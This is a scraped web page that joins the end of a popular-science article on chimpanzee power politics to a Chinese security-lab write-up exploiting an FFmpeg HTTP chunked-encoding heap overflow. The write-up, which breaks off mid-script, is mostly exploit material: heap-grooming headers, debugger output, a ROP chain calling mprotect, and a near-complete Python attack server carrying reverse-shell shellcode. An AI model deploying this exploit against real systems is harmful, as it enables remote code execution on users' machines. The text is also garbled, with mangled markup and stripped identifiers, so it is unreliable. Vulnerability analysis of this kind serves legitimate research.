data-original=&/v2-8a0cd64d9bd6ebf162ec47_r.jpg&&&p&&br&&/p&&p&终于,在几次一对一的战斗中,&b&落了下风的董卓臣服了。&/b&关键的节点出现的秋天的某一天的清晨:它主动嘟起嘴,对吕布表达了恭顺的问候。&/p&&p&&br&&/p&&p&这样的低姿态意味着,&b&这个群体完成了一次成功的权力交接&/b&,吕布取代了前任首领成功上位~~&/p&&p&&br&&/p&&p&&br&&/p&&p&&br&&/p&&p&&b&05&/b&&/p&&p&&br&&/p&&p&或许有人会说,你看,就算你说个人战力没用,最后还是吕布通过单挑打服了董卓啊!这不还是得靠个体武力来决定吗?&/p&&p&&br&&/p&&p&哼哼,故事还根本没有结束呢。&/p&&p&&br&&/p&&p&到了第二年夏天,&b&第三只雄性黑猩猩——曹操开始走上了舞台。&/b&&/p&&p&&br&&/p&&p&虽然在此之前,它基本就没什么戏份,也就是跟那些雌黑猩猩一样站战队,&b&但是在接下来的这一年里,它将要引发一场更精彩的权力斗争。&/b&&/p&&img src=&/v2-b7aa85ff6ac67c9dbe30bfbaa032f1eb_b.jpg& data-rawwidth=&800& data-rawheight=&450& class=&origin_image zh-lightbox-thumb& width=&800& data-original=&/v2-b7aa85ff6ac67c9dbe30bfbaa032f1eb_r.jpg&&&p&&br&&/p&&p&曹操和吕布董卓它俩不一样的地方在于,&b&它的体型天生就比较小,看起来弱不禁风,&/b&哪怕成年之后也远远不是那两只的对手。&/p&&p&&br&&/p&&p&但是,它有一个特点,&b&就是非常非常地狡诈。&/b&&/p&&p&&br&&/p&&p&眠眠举两个例子吧:有一次,动物学家故意把一根大香蕉埋在黑猩猩们的活动区域中,只露出了一小半在地表外面。这时,第一个经过此处的曹操发现了,&b&它东张西望了一下之后,用土把那一小截香蕉也小心掩埋了起来&/b&,然后……假装什么都没发生过一样,若无其事地走了。&/p&&p&&br&&/p&&p&直到那天晚上,它才借着夜色,&b&独自一人来到了掩埋处,将那根香蕉挖出来吃了……&/b&&/p&&img src=&/v2-eeb377ef5cebf806db786fb40f0253de_b.jpg& data-rawwidth=&749& data-rawheight=&468& class=&origin_image zh-lightbox-thumb& width=&749& data-original=&/v2-eeb377ef5cebf806db786fb40f0253de_r.jpg&&&p&&br&&/p&&p&另外一个例子就更……那啥了。&/p&&p&&br&&/p&&p&某个时间段,动物园来了一位新的饲养员。而曹操也显然意识到了这一点,于是每次出笼的时候,&b&它都待在笼子里深处,死活不愿出去。&/b&&/p&&p&&br&&/p&&p&这个菜鸟饲养员在进行了各种尝试无效之后,终于想到了一个办法:他发现,&b&每天只要用一个大猕猴桃诱惑曹操,它吃掉之后就会乖乖出笼。&/b&&/p&&p&&br&&/p&&p&就在他为自己的机智沾沾自喜时,这一举措被老饲养员发现并立刻制止了,他们这样教育他:哥们你以为是你耍了小聪明,成功骗到它出笼了吗?&/p&&p&&br&&/p&&p&大错特错了!&/p&&p&&br&&/p&&p&&b&正相反,是它知道只要采取那样的措施,就能每天从你这里多搞到一个大猕猴桃!&/b&&/p&&img src=&/v2-156faea7ff6b20ef40d9a04_b.jpg& data-rawwidth=&600& data-rawheight=&400& class=&origin_image zh-lightbox-thumb& width=&600& data-original=&/v2-156faea7ff6b20ef40d9a04_r.jpg&&&p&&br&&/p&&p&是的,这就是曹操的狡诈之处。&/p&&p&&br&&/p&&p&更可怕的是,&b&它也对权力的王座产生了想法……&/b&&/p&&p&&br&&/p&&p&&br&&/p&&p&&br&&/p&&p&&b&06&/b&&/p&&p&刚刚眠眠也说了,曹操的体格很小,它单挑是绝对不可能战胜如今的王者——吕布的。(当然除非在《王者荣耀》里可能还能那么一打~)&/p&&p&&br&&/p&&p&因此,&b&曹操是不可能通过复制吕布当年那种上位方式,来走上顶峰的。&/b&&/p&&p&&br&&/p&&p&但是,野心勃勃又暗藏城府的它,找到了一条策略:它把视线转到了那个曾经的王者,如今的卢瑟身上……&/p&&p&&br&&/p&&p&至今动物学家们依然不知道,曹操用了什么样的方法,获得了董卓的信任与支持。他们唯一观察到的,&b&就是这个在失去权力后彻底一蹶不振的老首领,和体格瘦小的曹操结成了战略同盟。&/b&&/p&&img src=&/v2-57c0b3aa07e4f7763944_b.jpg& data-rawwidth=&660& data-rawheight=&330& class=&origin_image zh-lightbox-thumb& width=&660& data-original=&/v2-57c0b3aa07e4f7763944_r.jpg&&&p&&br&&/p&&p&在这个主体只有三只成年雄黑猩猩的群落里,两只雄猩猩的结盟,意义是非常重大的。&/p&&p&&br&&/p&&p&&b&但是,这并非意味着吕布就变得弱势了。&/b&因为,它还拥有着九只以上的雌性帮手,它们的群体战力依然是强大的。&/p&&p&&br&&/p&&p&于是类似的一幕又上演了,只不过,&b&曾经由吕布独自完成的工作,这一次是由一对雄猩猩的同盟来完成的。&/b&&/p&&img src=&/v2-cdf053adb9bc_b.jpg& data-rawwidth=&1920& data-rawheight=&1245& class=&origin_image zh-lightbox-thumb& width=&1920& data-original=&/v2-cdf053adb9bc_r.jpg&&&p&&br&&/p&&p&董卓负责对那些和吕布走得近的雌猩猩发动攻击,而一旦吕布想要保护自己的宠妃,发动反击时,&b&曹操就会出面牵制吕布。此外,曹操还会不断对吕布发动威胁性地武力炫耀。&/b&&/p&&p&&br&&/p&&p&是的,虽然曹操打不过吕布,但是它愿意冒这样的风险,只为了分化那些雌性黑猩猩。这一点,和吕布当年的所作所为,&b&几乎是如出一辙。&/b&&/p&&p&&br&&/p&&p&更重要的一点是,在这样的同盟中,董卓似乎很明确自己的地位,它只负责骚扰和袭击雌性,并不会出面挑衅吕布。而威胁和对峙这些事情,都是曹操来完成的,&b&它才是那个真正的王位争夺者。&/b&&/p&&img src=&/v2-30df4fb37d163d4a65edde97_b.jpg& data-rawwidth=&900& data-rawheight=&475& class=&origin_image zh-lightbox-thumb& width=&900& data-original=&/v2-30df4fb37d163d4a65edde97_r.jpg&&&p&&br&&/p&&p&接下来,类似的一幕又发生了。&/p&&p&&br&&/p&&p&失去了保护和安全感的雌性们,逐渐投向了曹操同盟的那一边,并且曹操的手段更多,它还培养了两个情妇,对它死心塌地好,每次打斗都冲在最前面。&/p&&p&&br&&/p&&p&更吃惊的是,&b&有了群众基础后,曹操渐渐更加敢于和吕布单挑了,而且更多时候,它才是获胜的那一方。&/b&&/p&&p&&br&&/p&&p&这严重挑战了过去动物学家的理论。&/p&&p&&br&&/p&&p&曾经它们认为,是双方的战斗结果决定了社会的阶层;&b&然而事实上却是相反的,战斗的结果其实是由社会关系决定的。&/b&哪怕明显体格强壮得多的吕布,面对群众基础更好的曹操时,也经常会不战而败。&/p&&img src=&/v2-cfcb0c1b8dde_b.jpg& data-rawwidth=&1280& data-rawheight=&661& class=&origin_image zh-lightbox-thumb& width=&1280& data-original=&/v2-cfcb0c1b8dde_r.jpg&&&p&&br&&/p&&p&如果要做个类比的话,大概这类似于球类比赛中的主场效应吧……&/p&&p&&br&&/p&&p&终于,同样的事情的再次发生了,吕布在一次受伤之后,选择了屈服。&b&这个黑猩猩的群体,再一次经历了不可思议的权力交替。&/b&&/p&&p&&br&&/p&&p&原本毫无地位,身材瘦小的曹操,居然成为了统治者。&/p&&p&&br&&/p&&p&&b&这完全颠覆了过去对于动物群体的认知。&/b&至少在我读到这个故事之前,从来不相信在动物的层面,一个弱势的个体,可以通过搞拉帮结派,搞斗争手段,搞群众艺术上位,占据权力的顶峰。&/p&&p&&br&&/p&&p&但如果仔细观察,就会发现这个群体其实处于&b&一种微妙的双寡头统治格局:&/b&董卓充当的是军事领袖的作用,而曹操则是地位更高一点的政治领袖。简直令眠眠想起了罗马时代的屋大维和安东尼。&/p&&img src=&/v2-48aded807dca1fd_b.jpg& data-rawwidth=&624& data-rawheight=&352& class=&origin_image zh-lightbox-thumb& width=&624& data-original=&/v2-48aded807dca1fd_r.jpg&&&p&&br&&/p&&p&而且更重要的是,在曹操的统治时期,它为了巩固自己的统治,坚决阻止董卓和吕布接触,禁止它们产生新的小团体。&b&并通过自己的制衡,让整个群体处于一个相对稳定、气氛和睦的大环境。&/b&&/p&&p&&br&&/p&&p&但或许,这只是我们身为人类的观察,在那个属于黑猩猩的社会里,权力的微妙变化每一天都在发生(包括每只雌性也都在参与),制衡的天平每天都在变化,&b&一旦某天平衡性发生了失常,那么一个新的平衡就将在斗争后重新建立。&/b&&/p&&img src=&/v2-d390cfd13bc_b.jpg& data-rawwidth=&850& data-rawheight=&650& class=&origin_image zh-lightbox-thumb& width=&850& data-original=&/v2-d390cfd13bc_r.jpg&&&p&&br&&/p&&p&是的,人类总是自诩玩弄政治的高手,然而黑猩猩们同样可以手腕溜到飞起~&/p&&p&&br&&/p&&p&这也无怪乎著名动物学家,《裸猿》的作者德斯蒙德·莫里斯会说:&/p&&p&&br&&/p&&p&&b&“政治的根,比人类本身更加古老。”&/b&&/p&&p&&br&&/p&&p&&br&&/p&&p&&b&=THE END=&/b&&/p&&p&&br&&/p&&p&欢迎关注个人公众号:&b&眠眠冰室(mian013)&/b&,专注于冷知识和黑历史的科普向解读。&/p&&img src=&/v2-3e003bbfe476e3a82b3c17bbe7081190_b.jpg& data-rawwidth=&800& data-rawheight=&548& class=&origin_image zh-lightbox-thumb& width=&800& data-original=&/v2-3e003bbfe476e3a82b3c17bbe7081190_r.jpg&&
《猩球崛起3:终极之战》终于在国内上映了,作为一个大系列三部曲的收山之作,很多小伙伴们纷纷表示看得很兴奋,然而眠眠听到其中一个的留言时,就忽然感觉不对劲…… “主角那个大猩猩,真的很感人啊……” 嗯,你这句话更感人…… 主角凯撒,那是明摆着的…
&img src=&/50/v2-2b70dbde8ea_b.jpg& data-rawwidth=&587& data-rawheight=&300& class=&origin_image zh-lightbox-thumb& width=&587& data-original=&/50/v2-2b70dbde8ea_r.jpg&&&p&&b&作者:栈长@蚂蚁金服巴斯光年安全实验室&/b&&/p&&p&&b&————————&/b&&/p&&h2&&b&1. 背景&/b&&/h2&&p&FFmpeg是一个著名的处理音视频的开源项目,非常多的播放器、转码器以及视频网站都用到了FFmpeg作为内核或者是处理流媒体的工具。2016年末paulcher发现FFmpeg三个堆溢出漏洞分别为CVE-、CVE-以及CVE-。本文对&a href=&/?target=https%3A//cve.mitre.org/cgi-bin/cvename.cgi%3Fname%3DCVE-& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&CVE-&i class=&icon-external&&&/i&&/a&进行了详细的分析,是一个学习如何利用堆溢出达到任意代码执行的一个非常不错的案例。&/p&&p&&br&&/p&&h2&&b&2. 漏洞分析&/b&&/h2&&p&FFmpeg的 Http 协议的实现中支持几种不同的数据传输方式,通过 Http Response Header 来控制。其中一种传输方式是transfer-encoding: chunked,表示数据将被划分为一个个小的 chunk 进行传输,这些 chunk 都是被放在 Http body 当中,每一个 chunk 的结构分为两个部分,第一个部分是该 chunk 的 data 部分的长度,十六进制,以换行符结束,第二个部分就是该 chunk 的 data,末尾还要额外加上一个换行符。下面是一个 Http 响应的示例。关于transfer-encoding: chunked更加详细的内容可以参考&a href=&/?target=https%3A///post/transfer-encoding-header-in-http.html& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&这篇文章&i class=&icon-external&&&/i&&/a&。&/p&&p&&br&&/p&&p&HTTP/1.1 200 OK&/p&&p&Server: nginx&/p&&p&Date: Sun, 03 May :23 GMT&/p&&p&Content-Type: text/html&/p&&p&Transfer-Encoding: chunked&/p&&p&Connection: keep-alive&/p&&p&Content-Encoding: gzip&/p&&p&&br&&/p&&p&1f&/p&&p&HW(/IJ&/p&&p&&br&&/p&&p&0&/p&&p&&br&&/p&&p&漏洞就出现在libavformat/http.c这个文件中,在http_read_stream函数中,如果是以 chunk 的方式传输,程序会读取每个 chunk 的第一行,也就是 chunk 的长度那一行,然后调用s-&chunksize = strtoll(line, NULL, 16);来计算 chunk size。chunksize的类型是int64_t,在下面调用了FFMIN和 buffer 的 size 进行了长度比较,但是 buffer 的 size 也是有符号数,这就导致了如果我们让chunksize等于-1, 那么最终传递给httpbufread函数的 size 参数也是-1。相关代码如下:&/p&&p&&br&&/p&&p&s-&chunksize = strtoll(line, NULL, 16);&/p&&p&&br&&/p&&p&av_log(NULL, AV_LOG_TRACE, &Chunked encoding data size: %&PRId64&'\n&,&/p&&p&s-&chunksize);&/p&&p&&br&&/p&&p&if (!s-&chunksize)&/p&&p&return 0;&/p&&p&
size = FFMIN(size, s-&chunksize);//两个有符号数相比较&/p&&p&
}&/p&&p&//...&/p&&p&read_ret = http_buf_read(h, buf, size);//可以传递一个负数过去&/p&&p&&br&&/p&&p&而在httpbufread函数中会调用ffurl_read函数,进一步把 size 传递过去。然后经过一个比较长的调用链,最终会传递到tcp_read函数中,函数里调用了recv函数来从 socket 读取数据,而recv的第三个参数是size_t类型,也就是无符号数,我们把size为-1传递给它的时候会发生有符号数到无符号数的隐式类型转换,就变成了一个非常大的值0xffffffff,从而导致缓冲区溢出。&/p&&p&&br&&/p&&p&static int http_buf_read(URLContext *h, uint8_t *buf, int size)&/p&&p&{&/p&&p&
HTTPContext *s = h-&priv_&/p&&p&&/p&&p&
/* read bytes from input buffer first */&/p&&p&
len = s-&buf_end - s-&buf_&/p&&p&
if (len& 0) {&/p&&p&
if (len& size)&/p&&p&
len =&/p&&p&
memcpy(buf, s-&buf_ptr, len);&/p&&p&
s-&buf_ptr +=&/p&&p&
} else {&/p&&p&
//...&/p&&p&
len = ffurl_read(s-&hd, buf, size);//这里的 size 是从上面传递下来的&/p&&p&static int tcp_read(URLContext *h, uint8_t *buf, int size)&/p&&p&{&/p&&p&
TCPContext *s = h-&priv_&/p&&p&&/p&&p&&br&&/p&&p&
if (!(h-&flags & AVIO_FLAG_NONBLOCK)) {&/p&&p&
//...&/p&&p&
ret = recv(s-&fd, buf, size, 0);
//最后在这里溢出 &/p&&p&&br&&/p&&p&可以看到,由有符号到无符号数的类型转换可以说是漏洞频发的重灾区,写代码的时候稍有不慎就可能犯下这种错误,而且一些隐式的类型转换编译器并不会报 warning。如果需要检测这样的类型转换,可以在编译的时候添加-Wconversion -Wsign-conversion这个选项。&/p&&p&&br&&/p&&p&&b&官方修复方案&/b&&/p&&p&官方的修复方法也比较简单明了,把HTTPContext这个结构体中所有和 size,offset 有关的字段全部改为unsigned类型,把strtoll函数改为strtoull函数,还有一些细节上的调整等等。这么做不仅补上了这次的漏洞,也防止了类似的漏洞不会再其他的地方再发生。放上官方补丁的&a href=&/?target=https%3A///FFmpeg/FFmpeg/commit/2a05c8f813de6fbf4aa& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&链接&i class=&icon-external&&&/i&&/a&。&/p&&p&&br&&/p&&h2&&b&3. 利用环境搭建&/b&&/h2&&p&漏洞利用的靶机环境&/p&&p&&br&&/p&&p&操作系统:Ubuntu 16.04 x64&/p&&p&FFmpeg版本:3.2.1 (参照&a href=&/?target=https%3A//trac.ffmpeg.org/wiki/CompilationGuide/Ubuntu& class=& external& target=&_blank& rel=&nofollow noreferrer&&&span class=&invisible&&https://&/span&&span class=&visible&&trac.ffmpeg.org/wiki/Co&/span&&span class=&invisible&&mpilationGuide/Ubuntu&/span&&span class=&ellipsis&&&/span&&i class=&icon-external&&&/i&&/a&编译,需要把官方教程中提及的所有 encoder编译进去,最好是静态编译。)&/p&&p&&br&&/p&&h2&&b&4. 利用过程&/b&&/h2&&p&这次的漏洞需要我们搭建一个恶意的 Http Server,然后让我们的客户端连上 Server,Server 把恶意的 payload 传输给 client,在 client 上执行任意代码,然后反弹一个 shell 到 Server 端。&/p&&p&首先我们需要控制返回的 Http header 中包含transfer-encoding: chunked字段。&/p&&p&&br&&/p&&p&headers = &&&HTTP/1.1 200 OK&/p&&p&Server: HTTPd/0.9&/p&&p&Date: Sun, 10 Apr :47 GMT&/p&&p&Transfer-Encoding: chunked&/p&&p&&br&&/p&&p&&&&&/p&&p&然后我们控制 chunk 的 size 为-1, 再把我们的 payload 发送过去&/p&&p&&br&&/p&&p&
client_socket.send('-1\n')&/p&&p&
#raw_input(&sleep for a while to avoid HTTPContext buffer problem!&)&/p&&p&
#这里 sleep 很关键,后面会解释&/p&&p&
client_socket.send(payload)&/p&&p&&br&&/p&&p&下面我们开始考虑 payload 该如何构造,首先我们使用gdb观察程序在 buffer overflow 的时候的堆布局是怎样的,在我的机器上很不幸的是可以看到被溢出的 chunk 正好紧跟在 top chunk的后面,这就给我们的利用带来了困难。接下来我先后考虑了三种思路:&/p&&p&&br&&/p&&p&&b&思路一:覆盖top chunk的size字段&/b&&/p&&p&这是一种常见的glibc heap 利用技巧,是通过把 top chunk 的size 字段改写来实现任意地址写,但是这种方法需要我们能很好的控制malloc的 size 参数。在FFmpeg源代码中寻找了一番并没有找到这样的代码,只能放弃。&/p&&p&&br&&/p&&p&&b&思路二:通过unlink来任意地址写&/b&&/p&&p&这种方法的条件也比较苛刻,首先需要绕过 unlink 的 check,但是由于我们没有办法 leak 出堆地址,所以也是行不通的。&/p&&p&&br&&/p&&p&&b&思路三:通过某种方式影响堆布局,使得溢出chunk后面有关键结构体&/b&&/p&&p&如果溢出 chunk 之后有关键结构体,结构体里面有函数指针,那么事情就简单多了,我们只需要覆盖函数指针就可以控制 RIP 了。纵观溢出时的整个函数调用栈,&/p&&p&avio_read-&fill_buffer-&io_read_packet-&…-&http_buf_read,avio_read函数和fill_buffer函数里面都调用了AVIOContext::read_packet这个函数。我们必须设法覆盖AVIOContext这个结构体里面的read_packet函数指针,但是目前这个结构体是在溢出 chunk 的前面的,需要把它挪到后面去。那么就需要搞清楚这两个 chunk 被malloc的先后顺序,以及mallocAVIOContext的时候的堆布局是怎么样的。&/p&&p&&br&&/p&&p&int ffio_fdopen(AVIOContext **s, URLContext *h)&/p&&p&{&/p&&p&
//...&/p&&p&
buffer = av_malloc(buffer_size);//先分配io buffer, 再分配AVIOContext&/p&&p&if (!buffer)&/p&&p&
return AVERROR(ENOMEM);&/p&&p&&br&&/p&&p&
internal = av_mallocz(sizeof(*internal));&/p&&p&
if (!internal)&/p&&p&&/p&&p&&br&&/p&&p&
internal-&h =&/p&&p&&br&&/p&&p&
*s = avio_alloc_context(buffer, buffer_size, h-&flags & AVIO_FLAG_WRITE,&/p&&p&internal, io_read_packet, io_write_packet, io_seek);&/p&&p&&br&&/p&&p&在ffio_fdopen函数中可以清楚的看到是先分配了用于io的 buffer(也就是溢出的 chunk),再分配AVIOContext的。程序在mallocAVIOContext的时候堆上有一个 large free chunk,正好是在溢出 chunk 的前面。那么只要想办法在之前把这个 free chunk 给填上就能让AVIOContext跑到溢出 chunk 的后面去了。由于http_open是在AVIOContext被分配之前调用的,(关于整个调用顺序可以参考雷霄华的博客整理的一个FFmpeg的总的&a href=&/?target=http%3A//img.my.csdn.net/uploads//_1189.jpg& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&流程图&i class=&icon-external&&&/i&&/a&)所以我们可在http_read_header函数里面寻找那些能够影响堆布局的代码,其中 Content-Type 字段就会为字段值malloc一段内存来保存。所以我们可以任意填充Content-Type的值为那个 free chunk 的大小,就能预先把 free chunk 给使用掉了。修改后的Http header如下:&/p&&p&&br&&/p&&p&headers = &&&HTTP/1.1 200 OK&/p&&p&Server: HTTPd/0.9&/p&&p&Date: Sun, 10 Apr :47 GMT&/p&&p&Content-Type: %s&/p&&p&Transfer-Encoding: chunked&/p&&p&Set-Cookie: XXXXXXXXXXXXXXXX=AAAAAAAAAAAAAAAA;&/p&&p&&br&&/p&&p&&&& % ('h' * 3120)&/p&&p&&br&&/p&&p&其中Set-Cookie字段可有可无,只是会影响溢出 chunk 和AVIOContext的距离,不会影响他们的前后关系。&/p&&p&&br&&/p&&p&这之后就是覆盖AVIOContext的各个字段,以及考虑怎么让程序走到自己想要的分支了。经过分析我们让程序再一次调用fill_buffer,然后走到s-&read_packet那一行是最稳妥的。调试发现走到那一行的时候我们可以控制的有RIP, RDI, RSI, RDX, RCX等寄存器,接下来就是考虑怎么 ROP 了。&/p&&p&&br&&/p&&p&static void fill_buffer(AVIOContext *s)&/p&&p&{&/p&&p&
intmax_buffer_size = s-&max_packet_size ?
//可控&/p&&p&s-&max_packet_size : &/p&&p&IO_BUFFER_SIZE;&/p&&p&
uint8_t *dst
= s-&buf_end - s-&buffer + max_buffer_size& s-&buffer_size ?&/p&&p&
s-&buf_end : s-&
//控制这个, 如果等于s-&buffer的话,问题是 heap 地址不知道&/p&&p&
= s-&buffer_size - (dst - s-&buffer);
//可控&/p&&p&&br&&/p&&p&
/* can't fill the buffer without read_packet, just set EOF if appropriate */&/p&&p&
if (!s-&read_packet&& s-&buf_ptr&= s-&buf_end)&/p&&p&
s-&eof_reached = 1;&/p&&p&&br&&/p&&p&
/* no need to do anything if EOF already reached */&/p&&p&
if (s-&eof_reached)&/p&&p&&/p&&p&&br&&/p&&p&
if (s-&update_checksum&&dst == s-&buffer) {&/p&&p&
//...&/p&&p&
}&/p&&p&&br&&/p&&p&
/* make buffer smaller in case it ended up large after probing */&/p&&p&
if (s-&read_packet&& s-&orig_buffer_size&& s-&buffer_size& s-&orig_buffer_size) {&/p&&p&
//...&/p&&p&
}&/p&&p&&br&&/p&&p&
if (s-&read_packet)&/p&&p&
len = s-&read_packet(s-&opaque, dst, len);&/p&&p&&br&&/p&&p&首先要把栈迁移到堆上,由于堆地址是随机的,我们不知道。所以只能利用当时寄存器或者内存中存在的堆指针,并且堆指针要指向我们可控的区域。在寄存器中没有找到合适的值,但是打印当前stack, 可以看到栈上正好有我们需要的堆指针,指向AVIOContext结构体的开头。接下来只要想办法找到 ret之类的rop就可以了。 &/p&&p&&br&&/p&&p&pwndbg& stack&/p&&p&00:0000│rsp
0x7fffffffd8c0 —? 0x7fffffffd900 —? 0x7fffffffd930 —? 0x7fffffffd9d0 ?— ...&/p&&p&01:0008│
0x7fffffffd8c8 —? 0x2b4ae00 —? 0x63e2c8 (ff_yadif_filter_line_10bit_ssse3+1928) ?— add
rsp, 0x58&/p&&p&02:0010│
0x7fffffffd8d0 —? 0x7fffffffe200 ?— 0x6&/p&&p&03:0018│
0x7fffffffd8d8 ?— 0x83d1d51e&/p&&p&04:0020│
0x7fffffffd8e0 ?— 0x8000&/p&&p&05:0028│
0x7fffffffd8e8 —? 0x2b4b168 ?— 0x6868 ('hhhhhhhh')&/p&&p&06:0030│rbp
0x7fffffffd8f0 —? 0x7fffffffd930 —? 0x7fffffffd9d0 —? 0x7fffffffda40 ?— ...&/p&&p&07:0038│
0x7fffffffd8f8 —? 0x6cfb2c (avio_read+336) ?— movrax, qword ptr [rbp - 0x18]&/p&&p&&br&&/p&&p&把栈迁移之后,先利用add rsp, 0x58; ret这种蹦床把栈拔高,然后执行我们真正的 ROP 指令。由于plt表中有mprotect, 所以可以先将0x400000地址处的 page 权限改为rwx,再把shellcode写到那边去,然后跳转过去就行了。最终的堆布局如下:&/p&&p&&br&&/p&&img src=&/50/v2-0e25fafa5f6c5bb1c525a1e_b.jpg& data-rawwidth=&249& data-rawheight=&383& class=&content_image& width=&249&&&p&&br&&/p&&p&放上最后利用成功的截图&/p&&p&启动恶意的 Server&/p&&p&&br&&/p&&img src=&/50/v2-bfb5c0959bf4_b.jpg& data-rawwidth=&385& data-rawheight=&205& class=&content_image& width=&385&&&p&&br&&/p&&p&客户端连接上 Server&/p&&p&&br&&/p&&img src=&/50/v2-ef4ed5df7caaee8a5593c_b.jpg& data-rawwidth=&561& data-rawheight=&172& class=&origin_image zh-lightbox-thumb& width=&561& data-original=&/50/v2-ef4ed5df7caaee8a5593c_r.jpg&&&p&&br&&/p&&img src=&/50/v2-ab688b63ae82e871ae1fb00_b.jpg& data-rawwidth=&542& data-rawheight=&67& class=&origin_image zh-lightbox-thumb& width=&542& data-original=&/50/v2-ab688b63ae82e871ae1fb00_r.jpg&&&p&&br&&/p&&p&成功反弹 shell&/p&&p&&br&&/p&&img src=&/50/v2-fa257c0dfe544a4f8825_b.jpg& data-rawwidth=&569& data-rawheight=&131& class=&origin_image zh-lightbox-thumb& width=&569& data-original=&/50/v2-fa257c0dfe544a4f8825_r.jpg&&&p&&br&&/p&&p&最后附上完整的利用脚本,根据漏洞作者的exp修改而来&/p&&p&&br&&/p&&p&#!/usr/bin/python&/p&&p&#coding=utf-8&/p&&p&&br&&/p&&p&import re&/p&&p&importos&/p&&p&import sys&/p&&p&import socket&/p&&p&import threading&/p&&p&from time import sleep&/p&&p&&br&&/p&&p&frompwn import *&/p&&p&&br&&/p&&p&bind_ip = '0.0.0.0'&/p&&p&bind_port = 12345&/p&&p&&br&&/p&&p&headers = &&&HTTP/1.1 200 OK&/p&&p&Server: HTTPd/0.9&/p&&p&Date: Sun, 10 Apr :47 GMT&/p&&p&Content-Type: %s&/p&&p&Transfer-Encoding: chunked&/p&&p&Set-Cookie: XXXXXXXXXXXXXXXX=AAAAAAAAAAAAAAAA;&/p&&p&&br&&/p&&p&&&& % ('h' * 3120)&/p&&p&&br&&/p&&p&&&&&/p&&p&&&&&/p&&p&&br&&/p&&p&elf = ELF('/home/dddong/bin/ffmpeg_g')&/p&&p&shellcode_location = 0x&/p&&p&page_size = 0x1000&/p&&p&rwx_mode = 7&/p&&p&&br&&/p&&p&gadget = lambda x: next(elf.search(asm(x, os='linux', arch='amd64')))&/p&&p&pop_rdi = gadget(' ret')&/p&&p&pop_rsi = gadget(' ret')&/p&&p&pop_rax = gadget(' ret')&/p&&p&pop_rcx = gadget(' ret')&/p&&p&pop_rdx = gadget(' ret')&/p&&p&pop_rbp = gadget(' ret')&/p&&p&&br&&/p&&p&leave_ret = gadget(' ret')&/p&&p&pop_pop_rbp_jmp_rcx = gadget(' jmprcx')&/p&&p&push_rbx = gadget(' jmprdi')&/p&&p&push_rsi = gadget(' jmprdi')&/p&&p&push_rdx_call_rdi = gadget(' call rdi')&/p&&p&pop_rsp = gadget(' ret')&/p&&p&add_rsp = gadget('add rsp, 0x58; ret')&/p&&p&&br&&/p&&p&mov_gadget = gadget('mov qword ptr [rdi], ret')&/p&&p&&br&&/p&&p&mprotect_func = elf.plt['mprotect']&/p&&p&#read_func = elf.plt['read']&/p&&p&&br&&/p&&p&def handle_request(client_socket):&/p&&p&
# 0x009e5641: mov qword [rcx],
(1 found)&/p&&p&&br&&/p&&p&
# 0x010ccd95:
(1 found)&/p&&p&
# 0x00d89257:
(1 found)&/p&&p&
# 0x0058dc48: add rsp, 0x58 ;
(1 found)&/p&&p&
request = client_socket.recv(2048)&/p&&p&&br&&/p&&p&
payload = ''&/p&&p&
payload += 'C' * (0x8040)&/p&&p&
payload += 'CCCCCCCC' * 4&/p&&p&&br&&/p&&p&
##################################################&/p&&p&
#rop starts here&/p&&p&
payload += p64(add_rsp) # 0x0: 从这里开始覆盖AVIOContext&/p&&p&
#payload += p64(0) + p64(1) + 'CCCCCCCC' * 2 #0x8:&/p&&p&
payload += 'CCCCCCCC' * 4 #0x8: buf_ptr和buf_end后面会被覆盖为正确的值&/p&&p&&br&&/p&&p&
payload += p64(pop_rsp) # 0x28: 这里是opaque指针,可以控制rdi和rcx, s-&read_packet(opaque,dst,len)&/p&&p&
payload += p64(pop_pop_rbp_jmp_rcx) # 0x30: 这里是read_packet指针,call *%rax&/p&&p&
payload += 'BBBBBBBB' * 3 #0x38&/p&&p&
payload += 'AAAA' #0x50 must_flush&/p&&p&
payload += p32(0) #eof_reached&/p&&p&
payload += p32(1) + p32(0) #0x58 write_flag=1 and max_packet_size=0&/p&&p&
payload += p64(add_rsp) # 0x60: second add_esp_0x58 rop to jump to uncorrupted chunk&/p&&p&
payload += 'CCCCCCCC' #0x68: checksum_ptr控制rdi&/p&&p&
#payload += p64(push_rdx_call_rdi) #0x70&/p&&p&
payload += p64(1) #0x70: update_checksum&/p&&p&
payload += 'XXXXXXXX' * 9 #0x78: orig_buffer_size&/p&&p&&br&&/p&&p&
# realrop payload starts here&/p&&p&
# usingmprotect to create executable area&/p&&p&
payload += p64(pop_rdi)&/p&&p&
payload += p64(shellcode_location)&/p&&p&
payload += p64(pop_rsi)&/p&&p&
payload += p64(page_size)&/p&&p&
payload += p64(pop_rdx)&/p&&p&
payload += p64(rwx_mode)&/p&&p&
payload += p64(mprotect_func)&/p&&p&&br&&/p&&p&
# backconnectshellcode x86_64: 127.0.0.1:31337&/p&&p&
shellcode = &\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0\x48\x31\xf6\x4d\x31\xd2\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24\x02\x7a\x69\xc7\x44\x24\x04\x7f\x00\x00\x01\x48\x89\xe6\x6a\x10\x5a\x41\x50\x5f\x6a\x2a\x58\x0f\x05\x48\x31\xf6\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05&;&/p&&p&
shellcode = '\x90' * (8 - (len(shellcode) % 8)) + shellcode&/p&&p&
shellslices = map(''.join, zip(*[iter(shellcode)]*8))&/p&&p&&br&&/p&&p&
write_location = shellcode_location&/p&&p&
forshellslice in shellslices:&/p&&p&
payload += p64(pop_rax)&/p&&p&
payload += shellslice&/p&&p&
payload += p64(pop_rdi)&/p&&p&
payload += p64(write_location)&/p&&p&
payload += p64(mov_gadget)&/p&&p&&br&&/p&&p&
write_location += 8&/p&&p&&br&&/p&&p&
payload += p64(pop_rbp)&/p&&p&
payload += p64(4)&/p&&p&
payload += p64(shellcode_location)&/p&&p&&br&&/p&&p&
client_socket.send(headers)&/p&&p&
client_socket.send('-1\n')&/p&&p&
